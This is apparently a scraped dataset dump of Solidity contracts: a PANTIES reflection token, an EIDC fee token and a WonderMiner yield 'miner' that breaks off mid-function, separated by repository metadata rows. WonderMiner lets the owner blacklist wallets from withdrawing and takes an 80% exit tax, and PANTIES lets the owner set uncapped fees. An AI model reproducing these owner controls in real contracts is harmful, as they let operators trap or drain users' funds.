event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PANTIES is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 90 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'PANTIES';
string private constant _symbol = 'PANTIES';
uint256 private _taxFee = 100;
uint256 private _burnFee = 100;
uint private _max_tx_size = 90 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 254,406 | 12,487 |
67c681ecd657ade27ae313c5ad6dcf0c9335d5a139d883095cf1620bd21a77b7
| 17,632 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSkAN9krS3xXiQqKAumrdAGiKyxnHmNyyE_EIDCToken.sol
| 3,242 | 12,050 |
//SourceUnit: EIDC.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract EIDCToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'Ecological Data Center';
string private _symbol = 'EIDC';
uint8 private _decimals = 8;
uint256 private _totalSupply = 99990000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 1;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 1;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 1;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 21000000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 15 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 286,308 | 12,488 |
3059ae660dee19997214b304ab4135d957803d16fc414db93880f9cdba75178f
| 16,452 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2d/2d86821c60c49c91fee3f133ea164486523a816c_WonderMiner.sol
| 4,622 | 15,337 |
pragma solidity 0.8.9;
contract WonderMiner {
using SafeMath for uint256;
uint256 public EGGS_TO_HIRE_1MINERS = 1080000;
uint256 public REFERRAL = 100;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public TAX = 60;
uint256 public MARKET_EGGS_DIVISOR = 2;
uint256 public MIN_INVEST_LIMIT = 5 * 1e17;
uint256 public WALLET_DEPOSIT_LIMIT = 100 * 1e18;
uint256 public COMPOUND_BONUS = 20;
uint256 public COMPOUND_BONUS_MAX_TIMES = 10;
uint256 public COMPOUND_STEP = 12 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 800;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 10;
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 public marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
bool public blacklistActive = true;
mapping(address => bool) public Blacklisted;
uint256 public CUTOFF_STEP = 48 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address public owner;
address payable public dev;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 farmerCompoundCount;
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address payable _dev) {
require(!isContract(_dev));
owner = msg.sender;
dev = _dev;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function setblacklistActive(bool isActive) public{
require(msg.sender == owner, "Admin use only.");
blacklistActive = isActive;
}
function blackListWallet(address Wallet, bool isBlacklisted) public{
require(msg.sender == owner, "Admin use only.");
Blacklisted[Wallet] = isBlacklisted;
}
function blackMultipleWallets(address[] calldata Wallet, bool isBlacklisted) public{
require(msg.sender == owner, "Admin use only.");
for(uint256 i = 0; i < Wallet.length; i++) {
Blacklisted[Wallet[i]] = isBlacklisted;
}
}
function checkIfBlacklisted(address Wallet) public view returns(bool blacklisted){
require(msg.sender == owner, "Admin use only.");
blacklisted = Blacklisted[Wallet];
}
function startFarm(address addr) public payable{
if (!contractStarted) {
if (msg.sender == owner) {
require(marketEggs == 0);
contractStarted = true;
marketEggs = 144000000000;
hireFarmers(addr);
} else revert("Contract not yet started.");
}
}
//fund contract with BNB before launch.
function fundContract() external payable {}
function hireMoreFarmers(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not yet Started.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
//add compoundCount for monitoring purposes.
user.farmerCompoundCount = user.farmerCompoundCount .add(1);
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function sellCrops() public{
require(contractStarted, "Contract not yet Started.");
if (blacklistActive) {
require(!Blacklisted[msg.sender], "Address is blacklisted.");
}
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax.
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and eggValue will remain without deductions
user.dailyCompoundBonus = 0;
user.farmerCompoundCount = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue.sub(payFees(eggValue));
payable(address(msg.sender)).transfer(eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function hireFarmers(address ref) public payable{
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value));
user.userDeposit = user.userDeposit.add(msg.value);
user.initialDeposit = user.initialDeposit.add(msg.value);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER);
payable(address(upline)).transfer(refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(msg.value);
totalStaked = totalStaked.add(msg.value.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
hireMoreFarmers(false);
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER);
dev.transfer(tax);
return tax;
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _farmerCompoundCount, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
